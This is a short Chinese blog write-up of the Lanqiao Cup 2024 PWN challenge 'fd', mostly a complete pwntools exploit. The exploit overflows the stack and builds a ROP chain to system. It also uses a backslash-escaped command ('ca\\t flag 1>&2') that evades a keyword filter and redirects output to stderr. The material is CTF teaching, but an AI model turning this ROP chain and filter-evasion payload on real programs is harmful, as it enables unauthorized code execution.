本文主要是介绍[蓝桥杯2024]-PWN:fd解析(命令符转义,标准输出重定向),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
查看保护
查看ida
这里有一次栈溢出,并且题目给了我们system函数。
这里的知识点没有那么复杂
完整exp:
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()
#补充点1:这里的\\是转义符,它所占的字节数并不是2个
payload=b"cat flag 1>&2"
payload=b"c\at flag 1>&2"
payload=b"c\\at flag 1>&2"
所以在这里\\只占一个字节的位置,刚好达到输入上限
#补充点2:这里的system用system的plt会报错
#补充点3:这里不能把标准输出重定向到0,会报错
这篇关于[蓝桥杯2024]-PWN:fd解析(命令符转义,标准输出重定向)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!